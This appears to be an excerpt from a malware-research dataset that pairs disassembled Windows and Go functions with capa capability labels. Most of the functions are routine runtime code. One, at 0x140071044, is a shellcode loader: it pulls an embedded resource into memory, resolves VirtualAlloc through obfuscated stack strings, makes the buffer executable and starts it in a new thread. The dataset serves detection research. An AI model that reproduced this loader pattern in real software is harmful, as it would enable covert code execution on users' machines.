joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455960
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x455a0f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [sym.runtime.callers.func1]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call sym.runtime.systemstack.abi0
xorps xmm15, xmm15
mov r14, qword [0x0061c748]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp sym.runtime.callers

Function at 0x45fb00
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0061c52b], 0
je 0x45fb0e
jmp sym.aeshashbody
jmp sym.runtime.memhashFallback

Function at 0x45fb20
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0061c52b], 0
je 0x45fb35
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp sym.aeshashbody
jmp sym.runtime.strhashFallback

Function at 0x45fb40
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0061c52b], 0
je 0x45fb75
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x0061cae0]
aesenc xmm0, xmmword [0x0061caf0]
aesenc xmm0, xmmword [0x0061cb00]
movq rax, xmm0
ret
jmp sym.runtime.memhash32Fallback

Function at 0x45fb80
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp byte [0x0061c52b], 0
je 0x45fbb6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x0061cae0]
aesenc xmm0, xmmword [0x0061caf0]
aesenc xmm0, xmmword [0x0061cb00]
movq rax, xmm0
ret
jmp sym.runtime.memhash64Fallback

Function at 0x461480
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rdx, 2
jmp sym.sigtramp

Function at 0x461880
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x4618b4
mov rcx, 0x28
jmp 0x4618bf
shl rcx, 3
add rcx, 0x1480
mov qword [0x0061c748], rcx
pop rbp
ret
Function at 0x4773a0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4775db
push rbp
mov rbp, rsp
sub rsp, 0x78
mov ebx, dword [rax + 0x2c]
test ebx, ebx
jne 0x47743a
mov qword [rsp + 0x88], rax
lea rbx, [0x004f4240]
mov rcx, rax
lea rax, [0x005c9700]
call sym.sync._Map_.Load
test cl, cl
jne 0x477423
mov rax, qword [rsp + 0x88]
call sym.reflect._rtype_.String
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x30]
lea rbx, [0x00522918]
call sym.runtime.concatstring2
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x28], rbx
call sym.reflect.typesByString
mov rcx, qword [rsp + 0x88]
xor edx, edx
jmp 0x477457
lea rdx, [0x004f1e60]
cmp rax, rdx
jne 0x477445
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
ret
call sym.reflect.resolveTypeOff
add rsp, 0x78
pop rbp
ret
mov rbx, rdx
lea rcx, [0x004e04e0]
call sym.runtime.panicdottypeE
inc rdx
cmp rbx, rdx
jle 0x4774a1
mov rsi, qword [rax + rdx*8]
cmp qword [rsi + 0x30], rcx
jne 0x477454
lea rax, [0x005c9700]
lea rbx, [0x004f4240]
lea rdi, [0x004f1e60]
nop dword [rax + rax]
call sym.sync._Map_.LoadOrStore
lea rdx, [0x004f1e60]
cmp rax, rdx
jne 0x4775cb
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
nop
ret
lea rcx, [0x004da5c0]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 0
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
lea rax, [0x004e46a0]
call sym.runtime.newobject
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x58]
test byte [rcx], al
cmp dword [0x0061c790], 0
nop
je 0x4774fb
mov rbx, rax
lea rax, [0x004e46a0]
call sym.runtime.wbMove
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rcx]
mov qword [rax], rdx
movups xmm0, xmmword [rcx + 8]
movups xmmword [rax + 8], xmm0
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rax + 0x18], xmm0
movups xmm0, xmmword [rcx + 0x28]
movups xmmword [rax + 0x28], xmm0
mov rbx, qword [rsp + 0x28]
xor ecx, ecx
xor edi, edi
xor esi, esi
mov r8d, esi
mov rax, qword [rsp + 0x50]
call sym.internal_abi.NewName
call sym.reflect.addReflectOff
mov rsi, qword [rsp + 0x60]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 0
mov rcx, qword [rsp + 0x88]
mov edx, dword [rcx + 0x10]
xor eax, eax
jmp 0x477562
imul edx, edx, 0x1000193
xor edx, 0x2a
mov eax, 1
test rax, rax
jle 0x477554
mov dword [rsi + 0x10], edx
cmp dword [0x0061c790], 0
je 0x477583
call sym.runtime.gcWriteBarrier2
mov qword [r11], rcx
mov rdx, qword [rsi + 0x30]
mov qword [r11 + 8], rdx
mov qword [rsi + 0x30], rcx
lea rax, [0x005c9700]
lea rbx, [0x004f4240]
lea rdi, [0x004f1e60]
nop dword [rax]
call sym.sync._Map_.LoadOrStore
lea rdx, [0x004f1e60]
cmp rax, rdx
jne 0x4775bc
test byte [rbx], al
mov rax, rbx
add rsp, 0x78
pop rbp
ret
mov rbx, rdx
lea rcx, [0x004e04e0]
call sym.runtime.panicdottypeE
mov rbx, rdx
lea rcx, [0x004e04e0]
call sym.runtime.panicdottypeE
nop
mov qword [rsp + 8], rax
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
jmp sym.reflect._rtype_.ptrTo
Function at 0x48a8e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48a9aa
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rax
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0061c748]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x48a98f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004dd140]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x48a97e
mov edi, 1
lea rsi, [0x004dd140]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x00524308]
lea rsi, [0x005236e0]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString
Function at 0x1400705c2
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140105820
mov rax, rcx
neg rcx
test rax, 7
je 0x14010583d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140105898
test al, 7
jne 0x140105830
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140105851
mov rdx, qword [rax - 8]
test dl, dl
je 0x1401058c2
test dh, dh
je 0x1401058bc
shr rdx, 0x10
test dl, dl
je 0x1401058b6
test dh, dh
je 0x1401058b0
shr rdx, 0x10
test dl, dl
je 0x1401058aa
test dh, dh
je 0x1401058a4
shr edx, 0x10
test dl, dl
je 0x14010589e
test dh, dh
jne 0x140105851
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400708e2
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400916d0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140091050
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14009170f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019e020]
jmp 0x140091719
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140070a31
Capabilities:
Query environment variable

Disassembly:
jmp 0x14011f650
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14011f480
lea rcx, [rsp + 0x40]
call fcn.14011f600
movzx eax, al
test eax, eax
jne 0x14011f698
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.14011f4b0
mov rax, qword [rsp + 0x70]
jmp 0x14011f869
lea rcx, [rsp + 0x40]
call fcn.14011f5d0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14011f570
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.14011f5d0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14007144f
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14011f73e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.14011f4b0
mov rax, qword [rsp + 0x80]
jmp 0x14011f869
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400707e8
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400706c6
lea rcx, [rsp + 0x48]
call fcn.1400703a1
movzx eax, al
test eax, eax
jne 0x14011f7a5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14006f771
lea rcx, [rsp + 0x40]
call fcn.14011f4b0
mov rax, qword [rsp + 0x88]
jmp 0x14011f869
lea rcx, [rsp + 0x48]
call fcn.140070ce8
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.14011f5d0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14007144f
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14011f83b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14006f771
lea rcx, [rsp + 0x40]
call fcn.14011f4b0
mov rax, qword [rsp + 0xa0]
jmp 0x14011f869
lea rcx, [rsp + 0x48]
call fcn.1400706a3
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14006f771
lea rcx, [rsp + 0x40]
call fcn.14011f4b0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140070a40
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140091600
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140090fd0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140091641
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019e020]
jmp 0x140091647
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140070abd
Capabilities:
Get geographical location

Disassembly:
jmp 0x14010a260
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140109190
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14010a2c7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14019e030]
jmp 0x14010a2e9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14007034c
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140070ad1
Capabilities:
Terminate process

Disassembly:
jmp 0x140077380
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140070c98
Capabilities:
Print debug messages

Disassembly:
jmp 0x14013b6c0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14013b6e6
jmp 0x14013b763
mov rcx, qword [rbp + 0x30]
call fcn.1400705c2
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14013b6ff
jmp 0x14013b763
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14013b71c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14006f8b6
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.14006fc7b
test eax, eax
jne 0x14013b763
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14007077a
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140071044
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Extract resource via kernel32 functions
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140075bc0
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14019d0f3]
call fcn.140072061
lea r8, str.version_xml
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rbp + 8], rax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x24], eax
mov rdx, qword [rbp + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x48], rax
mov edx, dword [rbp + 0x24]
lea rcx, [0x1401590e8]
call fcn.1400706f8
mov eax, dword [rbp + 0x24]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x24]
mov r8d, eax
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
call fcn.14007077f
mov byte [rbp + 0x88], 0x6b
mov byte [rbp + 0x89], 0x65
mov byte [rbp + 0x8a], 0x72
mov byte [rbp + 0x8b], 0x6e
mov byte [rbp + 0x8c], 0x65
mov byte [rbp + 0x8d], 0x6c
mov byte [rbp + 0x8e], 0x33
mov byte [rbp + 0x8f], 0x32
mov byte [rbp + 0x90], 0x2e
mov byte [rbp + 0x91], 0x64
mov byte [rbp + 0x92], 0x6c
mov byte [rbp + 0x93], 0x6c
mov byte [rbp + 0x94], 0
mov byte [rbp + 0xb8], 0x56
mov byte [rbp + 0xb9], 0x69
mov byte [rbp + 0xba], 0x72
mov byte [rbp + 0xbb], 0x74
mov byte [rbp + 0xbc], 0x75
mov byte [rbp + 0xbd], 0x61
mov byte [rbp + 0xbe], 0x6c
mov byte [rbp + 0xbf], 0x41
mov byte [rbp + 0xc0], 0x6c
mov byte [rbp + 0xc1], 0x6c
mov byte [rbp + 0xc2], 0x6f
mov byte [rbp + 0xc3], 0x63
mov byte [rbp + 0xc4], 0
lea rcx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x108], rax
mov eax, dword [rbp + 0x24]
lea r9, [rbp + 0x124]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbp + 0x68]
call qword [rbp + 0x108]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x68]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x148], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140159090]
call fcn.1400717dd
mov eax, edi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.14007077a
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret
Function at 0x140071116
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400786d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400786f0
xor al, al
jmp 0x140078771
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140078703
xor al, al
jmp 0x140078771
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007872d
xor al, al
jmp 0x140078771
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140078741
xor al, al
jmp 0x140078771
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140078753
xor al, al
jmp 0x140078771
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007876f
xor al, al
jmp 0x140078771
mov al, 1
add rsp, 0x38
ret
Function at 0x1400715da
Capabilities:
Terminate process

Disassembly:
jmp 0x140106210
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14010623e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140071cd8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140071d37
Capabilities:
Print debug messages

Disassembly:
jmp 0x1401172c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140071ddc
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140091740
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140091090
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140091789
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019e020]
jmp 0x140091798
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140071e77
Capabilities:
Set environment variable

Disassembly:
jmp 0x14013e570
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.14007022f
lea rcx, [rsp + 0x48]
call fcn.14007022f
call fcn.1400709e1
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140070054
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14013e5df
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400704fa
lea rcx, [rsp + 0x78]
call fcn.1400704fa
mov eax, dword [rsp + 0x24]
jmp 0x14013e670
call fcn.1400709e1
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140070054
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x14013e626
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400704fa
lea rcx, [rsp + 0x78]
call fcn.1400704fa
mov eax, dword [rsp + 0x2c]
jmp 0x14013e670
lea rcx, [rsp + 0x48]
call fcn.1400701b7
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400701b7
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400704fa
lea rcx, [rsp + 0x78]
call fcn.1400704fa
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x14012ee80
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14006f8b6
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14018da50]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14012f072
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x14012efc6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14012efc6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14012efab
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x14012ef48
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14012f032
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14012f091
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14012f06d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14012f091
jmp 0x14012ef1e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007077a
add rsp, 0x1498
pop rdi
pop rsi
ret